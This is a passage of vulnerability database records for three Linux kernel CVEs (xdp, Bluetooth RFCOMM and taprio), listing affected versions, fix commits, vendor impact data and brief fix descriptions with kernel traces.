            "product": "SCALANCE XCM-/XRM-/XCH-/XRH-300 family",
            "vendor": "Siemens",
            "versions": [
              {
                "lessThan": "V3.1",
                "status": "affected",
                "version": "0",
                "versionType": "custom"
              }
            ]
          },
          {
            "defaultStatus": "unknown",
            "product": "SCALANCE XCM-/XRM-/XCH-/XRH-300 family",
            "vendor": "Siemens",
            "versions": [
              {
                "lessThan": "*",
                "status": "unaffected",
                "version": "0",
                "versionType": "custom"
              }
            ]
          },
          {
            "defaultStatus": "unknown",
            "product": "SIMATIC S7-1500 TM MFP - GNU/Linux subsystem",
            "vendor": "Siemens",
            "versions": [
              {
                "lessThan": "*",
                "status": "affected",
                "version": "0",
                "versionType": "custom"
              }
            ]
          }
        ],
        "providerMetadata": {
          "dateUpdated": "2026-05-12T11:56:23.632Z",
          "orgId": "0b142b55-0307-4c5a-b3c9-f314f3fb7c5e",
          "shortName": "siemens-SADP"
        },
        "references": [
          {
            "url": "https://cert-portal.siemens.com/productcert/html/ssa-265688.html"
          },
          {
            "url": "https://cert-portal.siemens.com/productcert/html/ssa-613116.html"
          },
          {
            "url": "https://cert-portal.siemens.com/productcert/html/ssa-355557.html"
          }
        ],
        "x_adpType": "supplier"
      }
    ],
    "cna": {
      "affected": [
        {
          "defaultStatus": "unaffected",
          "product": "Linux",
          "programFiles": [
            "net/core/xdp.c"
          ],
          "repo": "https://git.kernel.org/pub/scm/linux/kernel/git/stable/linux.git",
          "vendor": "Linux",
          "versions": [
            {
              "lessThan": "1095b8efbb13a6a5fa583ed373ee1ccab29da2d0",
              "status": "affected",
              "version": "8d5d88527587516bd58ff0f3810f07c38e65e2be",
              "versionType": "git"
            },
            {
              "lessThan": "1d3e3b3aa2cbe9bc7db9a7f8673a9fa6d2990d54",
              "status": "affected",
              "version": "8d5d88527587516bd58ff0f3810f07c38e65e2be",
              "versionType": "git"
            },
            {
              "lessThan": "4e0c539ee265d5c6e7fa7d229cd4aa7bc01816e2",
              "status": "affected",
              "version": "8d5d88527587516bd58ff0f3810f07c38e65e2be",
              "versionType": "git"
            },
            {
              "lessThan": "14e51ea78b4ccacb7acb1346b9241bb790a2054c",
              "status": "affected",
              "version": "8d5d88527587516bd58ff0f3810f07c38e65e2be",
              "versionType": "git"
            },
            {
              "lessThan": "f92298b0467fd77edc4c1a2c3e48833e69840ec4",
              "status": "affected",
              "version": "8d5d88527587516bd58ff0f3810f07c38e65e2be",
              "versionType": "git"
            },
            {
              "lessThan": "7e9f79428372c6eab92271390851be34ab26bfb4",
              "status": "affected",
              "version": "8d5d88527587516bd58ff0f3810f07c38e65e2be",
              "versionType": "git"
            }
          ]
        },
        {
          "defaultStatus": "affected",
          "product": "Linux",
          "programFiles": [
            "net/core/xdp.c"
          ],
          "repo": "https://git.kernel.org/pub/scm/linux/kernel/git/stable/linux.git",
          "vendor": "Linux",
          "versions": [
            {
              "status": "affected",
              "version": "4.18"
            },
            {
              "lessThan": "4.18",
              "status": "unaffected",
              "version": "0",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "5.10.*",
              "status": "unaffected",
              "version": "5.10.221",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "5.15.*",
              "status": "unaffected",
              "version": "5.15.162",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "6.1.*",
              "status": "unaffected",
              "version": "6.1.97",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "6.6.*",
              "status": "unaffected",
              "version": "6.6.37",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "6.9.*",
              "status": "unaffected",
              "version": "6.9.8",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "*",
              "status": "unaffected",
              "version": "6.10",
              "versionType": "original_commit_for_fix"
            }
          ]
        }
      ],
      "cpeApplicability": [
        {
          "nodes": [
            {
              "cpeMatch": [
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "5.10.221",
                  "versionStartIncluding": "4.18",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "5.15.162",
                  "versionStartIncluding": "4.18",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "6.1.97",
                  "versionStartIncluding": "4.18",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "6.6.37",
                  "versionStartIncluding": "4.18",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "6.9.8",
                  "versionStartIncluding": "4.18",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "6.10",
                  "versionStartIncluding": "4.18",
                  "vulnerable": true
                }
              ],
              "negate": false,
              "operator": "OR"
            }
          ]
        }
      ],
      "descriptions": [
        {
          "lang": "en",
          "value": "In the Linux kernel, the following vulnerability has been resolved:\n\nxdp: Remove WARN() from __xdp_reg_mem_model()\n\nsyzkaller reports a warning in __xdp_reg_mem_model().\n\nThe warning occurs only if __mem_id_init_hash_table() returns an error. It\nreturns the error in two cases:\n\n  1. memory allocation fails;\n  2. rhashtable_init() fails when some fields of rhashtable_params\n     struct are not initialized properly.\n\nThe second case cannot happen since there is a static const rhashtable_params\nstruct with valid fields. So, warning is only triggered when there is a\nproblem with memory allocation.\n\nThus, there is no sense in using WARN() to handle this error and it can be\nsafely removed.\n\nWARNING: CPU: 0 PID: 5065 at net/core/xdp.c:299 __xdp_reg_mem_model+0x2d9/0x650 net/core/xdp.c:299\n\nCPU: 0 PID: 5065 Comm: syz-executor883 Not tainted 6.8.0-syzkaller-05271-gf99c5f563c17 #0\nHardware name: Google Google Compute Engine/Google Compute Engine, BIOS Google 03/27/2024\nRIP: 0010:__xdp_reg_mem_model+0x2d9/0x650 net/core/xdp.c:299\n\nCall Trace:\n xdp_reg_mem_model+0x22/0x40 net/core/xdp.c:344\n xdp_test_run_setup net/bpf/test_run.c:188 [inline]\n bpf_test_run_xdp_live+0x365/0x1e90 net/bpf/test_run.c:377\n bpf_prog_test_run_xdp+0x813/0x11b0 net/bpf/test_run.c:1267\n bpf_prog_test_run+0x33a/0x3b0 kernel/bpf/syscall.c:4240\n __sys_bpf+0x48d/0x810 kernel/bpf/syscall.c:5649\n __do_sys_bpf kernel/bpf/syscall.c:5738 [inline]\n __se_sys_bpf kernel/bpf/syscall.c:5736 [inline]\n __x64_sys_bpf+0x7c/0x90 kernel/bpf/syscall.c:5736\n do_syscall_64+0xfb/0x240\n entry_SYSCALL_64_after_hwframe+0x6d/0x75\n\nFound by Linux Verification Center (linuxtesting.org) with syzkaller."
        }
      ],
      "providerMetadata": {
        "dateUpdated": "2026-05-11T20:26:38.668Z",
        "orgId": "416baaa9-dc9f-4396-8d5f-8c081fb06d67",
        "shortName": "Linux"
      },
      "references": [
        {
          "url": "https://git.kernel.org/stable/c/1095b8efbb13a6a5fa583ed373ee1ccab29da2d0"
        },
        {
          "url": "https://git.kernel.org/stable/c/1d3e3b3aa2cbe9bc7db9a7f8673a9fa6d2990d54"
        },
        {
          "url": "https://git.kernel.org/stable/c/4e0c539ee265d5c6e7fa7d229cd4aa7bc01816e2"
        },
        {
          "url": "https://git.kernel.org/stable/c/14e51ea78b4ccacb7acb1346b9241bb790a2054c"
        },
        {
          "url": "https://git.kernel.org/stable/c/f92298b0467fd77edc4c1a2c3e48833e69840ec4"
        },
        {
          "url": "https://git.kernel.org/stable/c/7e9f79428372c6eab92271390851be34ab26bfb4"
        }
      ],
      "title": "xdp: Remove WARN() from __xdp_reg_mem_model()",
      "x_generator": {
        "engine": "bippy-1.2.0"
      }
    }
  },
  "cveMetadata": {
    "assignerOrgId": "416baaa9-dc9f-4396-8d5f-8c081fb06d67",
    "assignerShortName": "Linux",
    "cveId": "CVE-2024-42082",
    "datePublished": "2024-07-29T15:52:43.989Z",
    "dateReserved": "2024-07-29T15:50:41.170Z",
    "dateUpdated": "2026-05-12T11:56:23.632Z",
    "state": "PUBLISHED"
  },
  "dataType": "CVE_RECORD",
  "dataVersion": "5.2"
}

CVE-2024-50044 (GCVE-0-2024-50044)

Vulnerability from cvelistv5 – Published: 2024-10-21 19:39 – Updated: 2026-05-12 12:00

Title

Bluetooth: RFCOMM: FIX possible deadlock in rfcomm_sk_state_change

Summary

In the Linux kernel, the following vulnerability has been resolved: Bluetooth: RFCOMM: FIX possible deadlock in rfcomm_sk_state_change rfcomm_sk_state_change attempts to use sock_lock so it must never be called with it locked but rfcomm_sock_ioctl always attempt to lock it causing the following trace: ====================================================== WARNING: possible circular locking dependency detected 6.8.0-syzkaller-08951-gfe46a7dd189e #0 Not tainted ------------------------------------------------------ syz-executor386/5093 is trying to acquire lock: ffff88807c396258 (sk_lock-AF_BLUETOOTH-BTPROTO_RFCOMM){+.+.}-{0:0}, at: lock_sock include/net/sock.h:1671 [inline] ffff88807c396258 (sk_lock-AF_BLUETOOTH-BTPROTO_RFCOMM){+.+.}-{0:0}, at: rfcomm_sk_state_change+0x5b/0x310 net/bluetooth/rfcomm/sock.c:73 but task is already holding lock: ffff88807badfd28 (&d->lock){+.+.}-{3:3}, at: __rfcomm_dlc_close+0x226/0x6a0 net/bluetooth/rfcomm/core.c:491

Severity ?

No CVSS data available.

Assigner

Linux

References

8 references

URL	Tags
https://git.kernel.org/stable/c/b77b3fb12fd483cae…
https://git.kernel.org/stable/c/869c6ee62ab8f01bf…
https://git.kernel.org/stable/c/ef44274dae9b0a90d…
https://git.kernel.org/stable/c/496b2ab0fd10f205e…
https://git.kernel.org/stable/c/ced98072d3511b232…
https://git.kernel.org/stable/c/38b2d5a57d125e1c1…
https://git.kernel.org/stable/c/4cb9807c9b53bf1e5…
https://git.kernel.org/stable/c/08d1914293dae3835…

Impacted products

2 products

Vendor	Product	Version
Linux	Linux	Affected: 3241ad820dbb172021e0268b5611031991431626 , < b77b3fb12fd483cae7c28648903b1d8a6b275f01 (git) Affected: 3241ad820dbb172021e0268b5611031991431626 , < 869c6ee62ab8f01bf2419e45326642be5c9b670a (git) Affected: 3241ad820dbb172021e0268b5611031991431626 , < ef44274dae9b0a90d1a97ce8b242a3b8243a7745 (git) Affected: 3241ad820dbb172021e0268b5611031991431626 , < 496b2ab0fd10f205e08909a125485fdc98843dbe (git) Affected: 3241ad820dbb172021e0268b5611031991431626 , < ced98072d3511b232ae1d3347945f35f30c0e303 (git) Affected: 3241ad820dbb172021e0268b5611031991431626 , < 38b2d5a57d125e1c17661b8308c0240c4a43b534 (git) Affected: 3241ad820dbb172021e0268b5611031991431626 , < 4cb9807c9b53bf1e5560420d26f319f528b50268 (git) Affected: 3241ad820dbb172021e0268b5611031991431626 , < 08d1914293dae38350b8088980e59fbc699a72fe (git)
Linux	Linux	Affected: 2.6.27 Unaffected: 0 , < 2.6.27 (semver) Unaffected: 4.19.323 , ≤ 4.19.* (semver) Unaffected: 5.4.285 , ≤ 5.4.* (semver) Unaffected: 5.10.227 , ≤ 5.10.* (semver) Unaffected: 5.15.168 , ≤ 5.15.* (semver) Unaffected: 6.1.113 , ≤ 6.1.* (semver) Unaffected: 6.6.57 , ≤ 6.6.* (semver) Unaffected: 6.11.4 , ≤ 6.11.* (semver) Unaffected: 6.12 , ≤ * (original_commit_for_fix)

Show details on NVD website

JSON

To clipboard

{
  "containers": {
    "adp": [
      {
        "metrics": [
          {
            "other": {
              "content": {
                "id": "CVE-2024-50044",
                "options": [
                  {
                    "Exploitation": "none"
                  },
                  {
                    "Automatable": "no"
                  },
                  {
                    "Technical Impact": "partial"
                  }
                ],
                "role": "CISA Coordinator",
                "timestamp": "2024-10-22T13:24:23.000943Z",
                "version": "2.0.3"
              },
              "type": "ssvc"
            }
          }
        ],
        "providerMetadata": {
          "dateUpdated": "2024-10-22T13:28:43.832Z",
          "orgId": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
          "shortName": "CISA-ADP"
        },
        "title": "CISA ADP Vulnrichment"
      },
      {
        "providerMetadata": {
          "dateUpdated": "2025-11-03T22:24:49.785Z",
          "orgId": "af854a3a-2127-422b-91ae-364da2661108",
          "shortName": "CVE"
        },
        "references": [
          {
            "url": "https://lists.debian.org/debian-lts-announce/2025/03/msg00002.html"
          },
          {
            "url": "https://lists.debian.org/debian-lts-announce/2025/01/msg00001.html"
          }
        ],
        "title": "CVE Program Container"
      },
      {
        "affected": [
          {
            "defaultStatus": "unknown",
            "product": "RUGGEDCOM RST2428P",
            "vendor": "Siemens",
            "versions": [
              {
                "lessThan": "*",
                "status": "unaffected",
                "version": "0",
                "versionType": "custom"
              }
            ]
          },
          {
            "defaultStatus": "unknown",
            "product": "SCALANCE XC-300/XR-300/XC-400/XR-500WG/XR-500 family",
            "vendor": "Siemens",
            "versions": [
              {
                "lessThan": "*",
                "status": "unaffected",
                "version": "0",
                "versionType": "custom"
              }
            ]
          },
          {
            "defaultStatus": "unknown",
            "product": "SCALANCE XCM-/XRM-/XCH-/XRH-300 family",
            "vendor": "Siemens",
            "versions": [
              {
                "lessThan": "*",
                "status": "unaffected",
                "version": "0",
                "versionType": "custom"
              }
            ]
          },
          {
            "defaultStatus": "unknown",
            "product": "SIMATIC S7-1500 TM MFP - GNU/Linux subsystem",
            "vendor": "Siemens",
            "versions": [
              {
                "lessThan": "*",
                "status": "affected",
                "version": "0",
                "versionType": "custom"
              }
            ]
          }
        ],
        "providerMetadata": {
          "dateUpdated": "2026-05-12T12:00:00.581Z",
          "orgId": "0b142b55-0307-4c5a-b3c9-f314f3fb7c5e",
          "shortName": "siemens-SADP"
        },
        "references": [
          {
            "url": "https://cert-portal.siemens.com/productcert/html/ssa-265688.html"
          },
          {
            "url": "https://cert-portal.siemens.com/productcert/html/ssa-355557.html"
          }
        ],
        "x_adpType": "supplier"
      }
    ],
    "cna": {
      "affected": [
        {
          "defaultStatus": "unaffected",
          "product": "Linux",
          "programFiles": [
            "net/bluetooth/rfcomm/sock.c"
          ],
          "repo": "https://git.kernel.org/pub/scm/linux/kernel/git/stable/linux.git",
          "vendor": "Linux",
          "versions": [
            {
              "lessThan": "b77b3fb12fd483cae7c28648903b1d8a6b275f01",
              "status": "affected",
              "version": "3241ad820dbb172021e0268b5611031991431626",
              "versionType": "git"
            },
            {
              "lessThan": "869c6ee62ab8f01bf2419e45326642be5c9b670a",
              "status": "affected",
              "version": "3241ad820dbb172021e0268b5611031991431626",
              "versionType": "git"
            },
            {
              "lessThan": "ef44274dae9b0a90d1a97ce8b242a3b8243a7745",
              "status": "affected",
              "version": "3241ad820dbb172021e0268b5611031991431626",
              "versionType": "git"
            },
            {
              "lessThan": "496b2ab0fd10f205e08909a125485fdc98843dbe",
              "status": "affected",
              "version": "3241ad820dbb172021e0268b5611031991431626",
              "versionType": "git"
            },
            {
              "lessThan": "ced98072d3511b232ae1d3347945f35f30c0e303",
              "status": "affected",
              "version": "3241ad820dbb172021e0268b5611031991431626",
              "versionType": "git"
            },
            {
              "lessThan": "38b2d5a57d125e1c17661b8308c0240c4a43b534",
              "status": "affected",
              "version": "3241ad820dbb172021e0268b5611031991431626",
              "versionType": "git"
            },
            {
              "lessThan": "4cb9807c9b53bf1e5560420d26f319f528b50268",
              "status": "affected",
              "version": "3241ad820dbb172021e0268b5611031991431626",
              "versionType": "git"
            },
            {
              "lessThan": "08d1914293dae38350b8088980e59fbc699a72fe",
              "status": "affected",
              "version": "3241ad820dbb172021e0268b5611031991431626",
              "versionType": "git"
            }
          ]
        },
        {
          "defaultStatus": "affected",
          "product": "Linux",
          "programFiles": [
            "net/bluetooth/rfcomm/sock.c"
          ],
          "repo": "https://git.kernel.org/pub/scm/linux/kernel/git/stable/linux.git",
          "vendor": "Linux",
          "versions": [
            {
              "status": "affected",
              "version": "2.6.27"
            },
            {
              "lessThan": "2.6.27",
              "status": "unaffected",
              "version": "0",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "4.19.*",
              "status": "unaffected",
              "version": "4.19.323",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "5.4.*",
              "status": "unaffected",
              "version": "5.4.285",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "5.10.*",
              "status": "unaffected",
              "version": "5.10.227",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "5.15.*",
              "status": "unaffected",
              "version": "5.15.168",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "6.1.*",
              "status": "unaffected",
              "version": "6.1.113",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "6.6.*",
              "status": "unaffected",
              "version": "6.6.57",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "6.11.*",
              "status": "unaffected",
              "version": "6.11.4",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "*",
              "status": "unaffected",
              "version": "6.12",
              "versionType": "original_commit_for_fix"
            }
          ]
        }
      ],
      "cpeApplicability": [
        {
          "nodes": [
            {
              "cpeMatch": [
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "4.19.323",
                  "versionStartIncluding": "2.6.27",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "5.4.285",
                  "versionStartIncluding": "2.6.27",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "5.10.227",
                  "versionStartIncluding": "2.6.27",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "5.15.168",
                  "versionStartIncluding": "2.6.27",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "6.1.113",
                  "versionStartIncluding": "2.6.27",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "6.6.57",
                  "versionStartIncluding": "2.6.27",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "6.11.4",
                  "versionStartIncluding": "2.6.27",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "6.12",
                  "versionStartIncluding": "2.6.27",
                  "vulnerable": true
                }
              ],
              "negate": false,
              "operator": "OR"
            }
          ]
        }
      ],
      "descriptions": [
        {
          "lang": "en",
          "value": "In the Linux kernel, the following vulnerability has been resolved:\n\nBluetooth: RFCOMM: FIX possible deadlock in rfcomm_sk_state_change\n\nrfcomm_sk_state_change attempts to use sock_lock so it must never be\ncalled with it locked but rfcomm_sock_ioctl always attempt to lock it\ncausing the following trace:\n\n======================================================\nWARNING: possible circular locking dependency detected\n6.8.0-syzkaller-08951-gfe46a7dd189e #0 Not tainted\n------------------------------------------------------\nsyz-executor386/5093 is trying to acquire lock:\nffff88807c396258 (sk_lock-AF_BLUETOOTH-BTPROTO_RFCOMM){+.+.}-{0:0}, at: lock_sock include/net/sock.h:1671 [inline]\nffff88807c396258 (sk_lock-AF_BLUETOOTH-BTPROTO_RFCOMM){+.+.}-{0:0}, at: rfcomm_sk_state_change+0x5b/0x310 net/bluetooth/rfcomm/sock.c:73\n\nbut task is already holding lock:\nffff88807badfd28 (\u0026d-\u003elock){+.+.}-{3:3}, at: __rfcomm_dlc_close+0x226/0x6a0 net/bluetooth/rfcomm/core.c:491"
        }
      ],
      "providerMetadata": {
        "dateUpdated": "2026-05-11T20:44:24.572Z",
        "orgId": "416baaa9-dc9f-4396-8d5f-8c081fb06d67",
        "shortName": "Linux"
      },
      "references": [
        {
          "url": "https://git.kernel.org/stable/c/b77b3fb12fd483cae7c28648903b1d8a6b275f01"
        },
        {
          "url": "https://git.kernel.org/stable/c/869c6ee62ab8f01bf2419e45326642be5c9b670a"
        },
        {
          "url": "https://git.kernel.org/stable/c/ef44274dae9b0a90d1a97ce8b242a3b8243a7745"
        },
        {
          "url": "https://git.kernel.org/stable/c/496b2ab0fd10f205e08909a125485fdc98843dbe"
        },
        {
          "url": "https://git.kernel.org/stable/c/ced98072d3511b232ae1d3347945f35f30c0e303"
        },
        {
          "url": "https://git.kernel.org/stable/c/38b2d5a57d125e1c17661b8308c0240c4a43b534"
        },
        {
          "url": "https://git.kernel.org/stable/c/4cb9807c9b53bf1e5560420d26f319f528b50268"
        },
        {
          "url": "https://git.kernel.org/stable/c/08d1914293dae38350b8088980e59fbc699a72fe"
        }
      ],
      "title": "Bluetooth: RFCOMM: FIX possible deadlock in rfcomm_sk_state_change",
      "x_generator": {
        "engine": "bippy-1.2.0"
      }
    }
  },
  "cveMetadata": {
    "assignerOrgId": "416baaa9-dc9f-4396-8d5f-8c081fb06d67",
    "assignerShortName": "Linux",
    "cveId": "CVE-2024-50044",
    "datePublished": "2024-10-21T19:39:42.430Z",
    "dateReserved": "2024-10-21T12:17:06.071Z",
    "dateUpdated": "2026-05-12T12:00:00.581Z",
    "state": "PUBLISHED"
  },
  "dataType": "CVE_RECORD",
  "dataVersion": "5.2"
}

CVE-2024-36974 (GCVE-0-2024-36974)

Vulnerability from cvelistv5 – Published: 2024-06-18 19:15 – Updated: 2026-05-12 11:54

Title

net/sched: taprio: always validate TCA_TAPRIO_ATTR_PRIOMAP

Summary

In the Linux kernel, the following vulnerability has been resolved: net/sched: taprio: always validate TCA_TAPRIO_ATTR_PRIOMAP If one TCA_TAPRIO_ATTR_PRIOMAP attribute has been provided, taprio_parse_mqprio_opt() must validate it, or userspace can inject arbitrary data to the kernel, the second time taprio_change() is called. First call (with valid attributes) sets dev->num_tc to a non zero value. Second call (with arbitrary mqprio attributes) returns early from taprio_parse_mqprio_opt() and bad things can happen.

Severity ?

No CVSS data available.

Assigner

Linux

References

7 references

URL	Tags
https://git.kernel.org/stable/c/c6041e7124464ce7e…
https://git.kernel.org/stable/c/6db4af09987cc5d5f…
https://git.kernel.org/stable/c/d3dde4c217f0c31ab…
https://git.kernel.org/stable/c/0bf6cc96612bd3960…
https://git.kernel.org/stable/c/724050ae4b76e4fae…
https://git.kernel.org/stable/c/c37a27a35eadb5928…
https://git.kernel.org/stable/c/f921a58ae20852d18…

Impacted products

2 products

Vendor	Product	Version
Linux	Linux	Affected: a3d43c0d56f1b94e74963a2fbadfb70126d92213 , < c6041e7124464ce7e896ee3f912897ce88a0c4ec (git) Affected: a3d43c0d56f1b94e74963a2fbadfb70126d92213 , < 6db4af09987cc5d5f0136bd46148b0e0460dae5b (git) Affected: a3d43c0d56f1b94e74963a2fbadfb70126d92213 , < d3dde4c217f0c31ab0621912e682b57e677dd923 (git) Affected: a3d43c0d56f1b94e74963a2fbadfb70126d92213 , < 0bf6cc96612bd396048f57d63f1ad454a846e39c (git) Affected: a3d43c0d56f1b94e74963a2fbadfb70126d92213 , < 724050ae4b76e4fae05a923cb54101d792cf4404 (git) Affected: a3d43c0d56f1b94e74963a2fbadfb70126d92213 , < c37a27a35eadb59286c9092c49c241270c802ae2 (git) Affected: a3d43c0d56f1b94e74963a2fbadfb70126d92213 , < f921a58ae20852d188f70842431ce6519c4fdc36 (git)
Linux	Linux	Affected: 5.2 Unaffected: 0 , < 5.2 (semver) Unaffected: 5.4.279 , ≤ 5.4.* (semver) Unaffected: 5.10.221 , ≤ 5.10.* (semver) Unaffected: 5.15.162 , ≤ 5.15.* (semver) Unaffected: 6.1.95 , ≤ 6.1.* (semver) Unaffected: 6.6.35 , ≤ 6.6.* (semver) Unaffected: 6.9.6 , ≤ 6.9.* (semver) Unaffected: 6.10 , ≤ * (original_commit_for_fix)

Show details on NVD website

JSON

To clipboard

{
  "containers": {
    "adp": [
      {
        "providerMetadata": {
          "dateUpdated": "2024-08-02T03:43:50.561Z",
          "orgId": "af854a3a-2127-422b-91ae-364da2661108",
          "shortName": "CVE"
        },
        "references": [
          {
            "tags": [
              "x_transferred"
            ],
            "url": "https://git.kernel.org/stable/c/c6041e7124464ce7e896ee3f912897ce88a0c4ec"
          },
          {
            "tags": [
              "x_transferred"
            ],
            "url": "https://git.kernel.org/stable/c/6db4af09987cc5d5f0136bd46148b0e0460dae5b"
          },
          {
            "tags": [
              "x_transferred"
            ],
            "url": "https://git.kernel.org/stable/c/d3dde4c217f0c31ab0621912e682b57e677dd923"
          },
          {
            "tags": [
              "x_transferred"
            ],
            "url": "https://git.kernel.org/stable/c/0bf6cc96612bd396048f57d63f1ad454a846e39c"
          },
          {
            "tags": [
              "x_transferred"
            ],
            "url": "https://git.kernel.org/stable/c/724050ae4b76e4fae05a923cb54101d792cf4404"
          },
          {
            "tags": [
              "x_transferred"
            ],
            "url": "https://git.kernel.org/stable/c/c37a27a35eadb59286c9092c49c241270c802ae2"
          },
          {
            "tags": [
              "x_transferred"
            ],
            "url": "https://git.kernel.org/stable/c/f921a58ae20852d188f70842431ce6519c4fdc36"
          }
        ],
        "title": "CVE Program Container"
      },
      {
        "metrics": [
          {
            "other": {
              "content": {
                "id": "CVE-2024-36974",
                "options": [
                  {
                    "Exploitation": "none"
                  },
                  {
                    "Automatable": "no"
                  },
                  {
                    "Technical Impact": "partial"
                  }
                ],
                "role": "CISA Coordinator",
                "timestamp": "2024-09-10T17:15:26.013777Z",
                "version": "2.0.3"
              },
              "type": "ssvc"
            }
          }
        ],
        "providerMetadata": {
          "dateUpdated": "2024-09-11T17:34:58.856Z",
          "orgId": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
          "shortName": "CISA-ADP"
        },
        "title": "CISA ADP Vulnrichment"
      },
      {
        "affected": [
          {
            "defaultStatus": "unknown",
            "product": "RUGGEDCOM RST2428P",
            "vendor": "Siemens",
            "versions": [
              {
                "lessThan": "V3.1",
                "status": "affected",
                "version": "0",
                "versionType": "custom"
              }
            ]
          },
          {
            "defaultStatus": "unknown",
            "product": "RUGGEDCOM RST2428P",
            "vendor": "Siemens",
            "versions": [
              {
                "lessThan": "*",
                "status": "unaffected",
                "version": "0",
                "versionType": "custom"
              }
            ]
          },
          {
            "defaultStatus": "unknown",
            "product": "SCALANCE XC-300/XR-300/XC-400/XR-500WG/XR-500 family",
            "vendor": "Siemens",
            "versions": [
              {
                "lessThan": "*",
                "status": "unaffected",
                "version": "0",
                "versionType": "custom"
              }
            ]
          },
          {
            "defaultStatus": "unknown",
            "product": "SCALANCE XC-300/XR-300/XC-400/XR-500WG/XR-500 family",
            "vendor": "Siemens",
            "versions": [
              {
                "lessThan": "*",
                "status": "unaffected",
                "version": "0",
                "versionType": "custom"
              }
            ]
          },
          {
            "defaultStatus": "unknown",
            "product": "SCALANCE XCM-/XRM-/XCH-/XRH-300 family",
            "vendor": "Siemens",
            "versions": [
              {
                "lessThan": "V3.1",
                "status": "affected",
                "version": "0",
                "versionType": "custom"
              }
            ]
          },
          {
            "defaultStatus": "unknown",
            "product": "SCALANCE XCM-/XRM-/XCH-/XRH-300 family",
            "vendor": "Siemens",
            "versions": [
              {
                "lessThan": "*",
                "status": "unaffected",
                "version": "0",
                "versionType": "custom"
              }
            ]
          },
          {
            "defaultStatus": "unknown",
            "product": "SIMATIC S7-1500 TM MFP - GNU/Linux subsystem",
            "vendor": "Siemens",
            "versions": [
              {
                "lessThan": "*",
                "status": "affected",
                "version": "0",
                "versionType": "custom"
              }
            ]
          }
        ],
        "providerMetadata": {
          "dateUpdated": "2026-05-12T11:54:21.811Z",
          "orgId": "0b142b55-0307-4c5a-b3c9-f314f3fb7c5e",
          "shortName": "siemens-SADP"
        },
        "references": [
          {
            "url": "https://cert-portal.siemens.com/productcert/html/ssa-265688.html"
          },
          {
            "url": "https://cert-portal.siemens.com/productcert/html/ssa-613116.html"
          },
          {
            "url": "https://cert-portal.siemens.com/productcert/html/ssa-355557.html"
          }
        ],
        "x_adpType": "supplier"
      }
    ],
    "cna": {
      "affected": [
        {
          "defaultStatus": "unaffected",
          "product": "Linux",
          "programFiles": [
            "net/sched/sch_taprio.c"
          ],
          "repo": "https://git.kernel.org/pub/scm/linux/kernel/git/stable/linux.git",
          "vendor": "Linux",
          "versions": [
            {
              "lessThan": "c6041e7124464ce7e896ee3f912897ce88a0c4ec",
              "status": "affected",
              "version": "a3d43c0d56f1b94e74963a2fbadfb70126d92213",
              "versionType": "git"
            },
            {
              "lessThan": "6db4af09987cc5d5f0136bd46148b0e0460dae5b",
              "status": "affected",
              "version": "a3d43c0d56f1b94e74963a2fbadfb70126d92213",
              "versionType": "git"
            },
            {
              "lessThan": "d3dde4c217f0c31ab0621912e682b57e677dd923",
              "status": "affected",
              "version": "a3d43c0d56f1b94e74963a2fbadfb70126d92213",
              "versionType": "git"
            },
            {
              "lessThan": "0bf6cc96612bd396048f57d63f1ad454a846e39c",
              "status": "affected",
              "version": "a3d43c0d56f1b94e74963a2fbadfb70126d92213",
              "versionType": "git"
            },
            {
              "lessThan": "724050ae4b76e4fae05a923cb54101d792cf4404",
              "status": "affected",
              "version": "a3d43c0d56f1b94e74963a2fbadfb70126d92213",
              "versionType": "git"
            },
            {
              "lessThan": "c37a27a35eadb59286c9092c49c241270c802ae2",
              "status": "affected",
              "version": "a3d43c0d56f1b94e74963a2fbadfb70126d92213",
              "versionType": "git"
            },
            {
              "lessThan": "f921a58ae20852d188f70842431ce6519c4fdc36",
              "status": "affected",
